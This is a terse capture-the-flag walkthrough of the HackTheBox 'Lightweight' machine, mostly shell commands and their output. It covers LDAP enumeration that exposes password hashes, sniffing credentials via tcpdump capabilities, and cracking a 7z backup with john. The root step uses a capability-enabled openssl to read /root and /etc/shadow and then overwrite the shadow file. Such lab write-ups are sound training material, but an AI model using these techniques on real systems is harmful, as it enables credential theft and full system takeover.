LDAPSEARCH

GETCAP

PCAP FILE

SCP

WIRESHARK

FILE TRANSFER WITH BASE64

7Z BRUTE FORCE

7Z2JOHN

OPENSSL TO ROOT

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.4 (protocol 2.0)

| ssh-hostkey:

| 2048 19:97:59:9a:15:fd:d2:ac:bd:84:73:c4:29:e9:2b:73 (RSA)

| 256 88:58:a1:cf:38:cd:2e:15:1d:2c:7f:72:06:a3:57:67 (ECDSA)

|_ 256 31:6c:c1:eb:3b:28:0f:ad:d5:79:72:8f:f5:b5:49:db (ED25519)

80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)

|_http-title: Lightweight slider evaluation page - slendr

389/tcp open ldap OpenLDAP 2.2.X - 2.3.X

| ssl-cert: Subject: commonName=lightweight.htb

| Subject Alternative Name: DNS:lightweight.htb, DNS:localhost, DNS:localhost.localdomain

| Not valid before: 2018-06-09T13:32:51

|_Not valid after: 2019-06-09T13:32:51

|_ssl-date: TLS randomness does not represent time

PORT 389 LDAP

root@kali:/home/kali/Desktop/hackthebox/lightweight# ldapsearch -x -h lightweight.htb -b "dc=lightweight,dc=htb"

extended LDIF

#

LDAPv3

base <dc=lightweight,dc=htb> with scope subtree

filter: (objectclass=*)

requesting: ALL

#

lightweight.htb

dn: dc=lightweight,dc=htb

objectClass: top

objectClass: dcObject

objectClass: organization

o: lightweight htb

dc: lightweight

Manager, lightweight.htb

dn: cn=Manager,dc=lightweight,dc=htb

objectClass: organizationalRole

cn: Manager

description: Directory Manager

People, lightweight.htb

dn: ou=People,dc=lightweight,dc=htb

objectClass: organizationalUnit

ou: People

Group, lightweight.htb

dn: ou=Group,dc=lightweight,dc=htb

objectClass: organizationalUnit

ou: Group

ldapuser1, People, lightweight.htb

dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb

uid: ldapuser1

cn: ldapuser1

sn: ldapuser1

mail: ldapuser1@lightweight.htb

objectClass: person

objectClass: organizationalPerson

objectClass: inetOrgPerson

objectClass: posixAccount

objectClass: top

objectClass: shadowAccount

userPassword:: e2NyeXB0fSQ2JDNxeDBTRDl4JFE5eTFseVFhRktweHFrR3FLQWpMT1dkMzNOd2R

oai5sNE16Vjd2VG5ma0UvZy9aLzdONVpiZEVRV2Z1cDJsU2RBU0ltSHRRRmg2ek1vNDFaQS4vNDQv

shadowLastChange: 17691

shadowMin: 0

shadowMax: 99999

shadowWarning: 7

loginShell: /bin/bash

uidNumber: 1000

gidNumber: 1000

homeDirectory: /home/ldapuser1

ldapuser2, People, lightweight.htb

dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb

uid: ldapuser2

cn: ldapuser2

sn: ldapuser2

mail: ldapuser2@lightweight.htb

objectClass: person

objectClass: organizationalPerson

objectClass: inetOrgPerson

objectClass: posixAccount

objectClass: top

objectClass: shadowAccount

userPassword:: e2NyeXB0fSQ2JHhKeFBqVDBNJDFtOGtNMDBDSllDQWd6VDRxejhUUXd5R0ZRdms

zYm9heW11QW1NWkNPZm0zT0E3T0t1bkxaWmxxeXRVcDJkdW41MDlPQkUyeHdYL1FFZmpkUlF6Z24x

shadowLastChange: 17691

shadowMin: 0

shadowMax: 99999

shadowWarning: 7

loginShell: /bin/bash

uidNumber: 1001

gidNumber: 1001

homeDirectory: /home/ldapuser2

ldapuser1, Group, lightweight.htb

dn: cn=ldapuser1,ou=Group,dc=lightweight,dc=htb

objectClass: posixGroup

objectClass: top

cn: ldapuser1

userPassword:: e2NyeXB0fXg=

gidNumber: 1000

ldapuser2, Group, lightweight.htb

dn: cn=ldapuser2,ou=Group,dc=lightweight,dc=htb

objectClass: posixGroup

objectClass: top

cn: ldapuser2

userPassword:: e2NyeXB0fXg=

gidNumber: 1001

search result

search: 2

result: 0 Success

numResponses: 9

numEntries: 8

http://lightweight.htb/

http://lightweight.htb/user.php

Your account

f you did not read the info page, please go there the and read it carefully.

This server lets you get in with ssh. Your IP (10.10.14.17) is automatically added as userid and password within a minute of your first http page request. We strongly suggest you to change your password as soon as you get in the box.

If you need to reset your account for whatever reason, please click here and wait (up to) a minute. Your account will be deleted and added again. Any file in your home directory will be deleted too.

root@kali:/home/kali/Desktop/hackthebox/lightweight# ssh 10.10.14.17@lightweight.htb

GETCAP

[10.10.14.17@lightweight ~]$ getcap -r /usr/bin

/usr/bin/ping = cap_net_admin,cap_net_raw+p

[10.10.14.17@lightweight ~]$ getcap -r /usr/sbin

/usr/sbin/mtr = cap_net_raw+ep

/usr/sbin/suexec = cap_setgid,cap_setuid+ep

/usr/sbin/arping = cap_net_raw+p

/usr/sbin/clockdiff = cap_net_raw+p

/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep

[10.10.14.17@lightweight tmp]$ tcpdump -i any -w akg.pcap

root@kali:/home/kali/Desktop/hackthebox/lightweight# scp 10.10.14.17@lightweight.htb:/tmp/akg.pcap ./

WIRESHARK LOOK AT LDAP REQUEST

Now we have the password for ldapuser2 : 8bc8251332abe1d7f105d3e53ad39ac2

[ldapuser2@lightweight ~]$ ls

backup.7z OpenLDAP-Admin-Guide.pdf OpenLdap.pdf user.txt

[ldapuser2@lightweight ~]$ base64 backup.7z

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

root@kali:/home/kali/Desktop/hackthebox/lightweight# base64 -d akg.b64 > backup.7z

https://github.com/Seyptoo/7z-BruteForce

root@kali:/home/kali/Desktop/hackthebox/lightweight# mv backup.7z /home/kali/Desktop/tools/7z-BruteForce/

root@kali:/home/kali/Desktop/tools/7z-BruteForce# python main.py -f backup.7z -w /usr/share/wordlists/rockyou.txt

root@kali:/home/kali/Desktop/hackthebox/lightweight# /usr/share/john/7z2john.pl backup.7z > backup.hash

root@kali:/home/kali/Desktop/hackthebox/lightweight# john backup.hash --wordlist=/usr/share/wordlists/rockyou.txt

delete (backup.7z)

root@kali:/home/kali/Desktop/hackthebox/lightweight# 7z e backup.7z

root@kali:/home/kali/Desktop/hackthebox/lightweight# cat status.php

$username = 'ldapuser1';

$password = 'f3ca9d298a553da117442deeb6fa932d';

[ldapuser2@lightweight ~]$ su ldapuser1

[ldapuser1@lightweight ~]$ getcap -r .

./tcpdump = cap_net_admin,cap_net_raw+ep

./openssl =ep

[ldapuser1@lightweight ~]$ ./openssl enc -base64 -in /root/root.txt -out ./root.txt.b64

[ldapuser1@lightweight ~]$ ls

capture.pcap ldapTLS.php openssl root.txt.b64 tcpdump

[ldapuser1@lightweight ~]$ cat root.txt.b64

ZjFkNGUzMDljNWE2YjNmZmZmZjc0YThmNGIyMTM1ZmEK

OPENSSL

[ldapuser1@lightweight ~]$ ./openssl enc -base64 -in /etc/shadow -out ./shadow.b64

[ldapuser1@lightweight ~]$ base64 -d shadow.b64 > shadow

[ldapuser1@lightweight ~]$ openssl passwd -1 -salt root rick

1root$M6roBs1exH4PKNDKwJO2f/

EDIT SHADOW WITH GENERATED SALTED PASSWORD

[ldapuser1@lightweight ~]$ ./openssl enc -in shadow -out /etc/shadow

Su root

Rick

ROOTED!!!!!